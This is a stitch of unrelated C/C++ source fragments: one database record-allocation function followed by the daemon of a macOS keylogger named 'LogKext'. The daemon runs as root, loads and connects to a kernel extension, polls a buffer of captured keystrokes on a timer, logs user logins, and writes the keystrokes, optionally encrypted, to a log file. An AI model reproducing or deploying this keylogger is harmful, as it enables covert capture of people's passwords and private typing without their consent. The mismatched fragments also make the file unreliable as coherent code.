/** used by insert and also compact * @return null loc if out of space */ DiskLoc allocateSpaceForANewRecord(const char* ns, NamespaceDetails* d, int lenWHdr, bool god) { DiskLoc loc = d->alloc(ns, lenWHdr); if ( loc.isNull() ) { loc = outOfSpace(ns, d, lenWHdr, god); } return loc; }
int main() { if (geteuid()) { syslog(LOG_ERR,"Error: Daemon must run as root."); exit(geteuid()); } encrypt_buffer = CFDataCreateMutable(kCFAllocatorDefault,8); /*********Set up File**********/ if (!(pathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN))) { pathName = CFSTR(DEFAULT_PATHNAME); CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN); } CFURLRef logPathURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,logPathURL); CFRelease(logPathURL); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream at start."); return 1; } /*********Check encryption & keymap**********/ updateEncryption(); updateKeymap(); /*********Check space**********/ if (outOfSpace(pathName)) { stamp_file(CFSTR("Not enough disk space remaining!")); CFRunLoopStop(CFRunLoopGetCurrent()); } /*********Connect to kernel extension**********/ if (!connectToKext()) { if (load_kext()) { stamp_file(CFSTR("Could not load KEXT")); return 1; } if (!connectToKext()) { stamp_file(CFSTR("Could not connect with KEXT")); return 1; } } sleep(1); // just a little time to let the kernel notification handlers finish stamp_file(CFSTR("LogKext Daemon starting up")); // stamp login file with initial user LoginLogoutCallBackFunction(NULL, NULL, NULL); CFPreferencesAppSynchronize(PREF_DOMAIN); /*********Create Daemon Timer source**********/ CFRunLoopTimerContext timerContext = { 0 }; CFRunLoopSourceRef loginLogoutSource; if (InstallLoginLogoutNotifiers(&loginLogoutSource)) syslog(LOG_ERR,"Error: could not install login notifier"); else CFRunLoopAddSource(CFRunLoopGetCurrent(),loginLogoutSource, kCFRunLoopDefaultMode); CFRunLoopTimerRef daemonTimer = CFRunLoopTimerCreate(NULL, 0, TIME_TO_SLEEP, 0, 0, DaemonTimerCallback, &timerContext); CFRunLoopAddTimer(CFRunLoopGetCurrent(), daemonTimer, kCFRunLoopCommonModes); CFRunLoopRun(); stamp_file(CFSTR("Server error: closing Daemon")); CFWriteStreamClose(logStream); }
void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info ) { /*********Wait if not logging**********/ Boolean validKey; CFPreferencesAppSynchronize(PREF_DOMAIN); CFBooleanRef isLogging = (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse; if (!validKey) { isLogging = kCFBooleanTrue; CFPreferencesSetAppValue(CFSTR("Logging"),isLogging,PREF_DOMAIN); } if (!CFBooleanGetValue(isLogging)) return; /********* Check the buffer **********/ int buffsize=0; int keys=0; getBufferSizeAndKeys(&buffsize,&keys); #ifdef DEBUG syslog(LOG_ERR,"Buffsize %d, Keys %d.",buffsize,keys); #endif if (!keys) // no keyboards logged return; if (buffsize < MAX_BUFF_SIZE/10) return; /********* Get the buffer **********/ CFStringRef the_buffer = getBuffer(); /********* Check defaults/file **********/ CFStringRef curPathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN); if (!curPathName) // path has been deleted { pathName = CFSTR(DEFAULT_PATHNAME); CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } } else if (CFStringCompare(curPathName,pathName,0)!=kCFCompareEqualTo) // path has changed { pathName = curPathName; logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,CFDataGetLength(encrypt_buffer))); } if (!fileExists(pathName)) // when file is deleted, we resync the encryption & keymap preferences { CFPreferencesAppSynchronize(PREF_DOMAIN); updateEncryption(); updateKeymap(); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } stamp_file(CFSTR("LogKext Daemon created new logfile")); } if (outOfSpace(pathName)) { stamp_file(CFSTR("Not enough disk space remaining!")); return; } /********* Finally, write the buffer **********/ write_buffer(the_buffer); CFRelease(the_buffer); return; }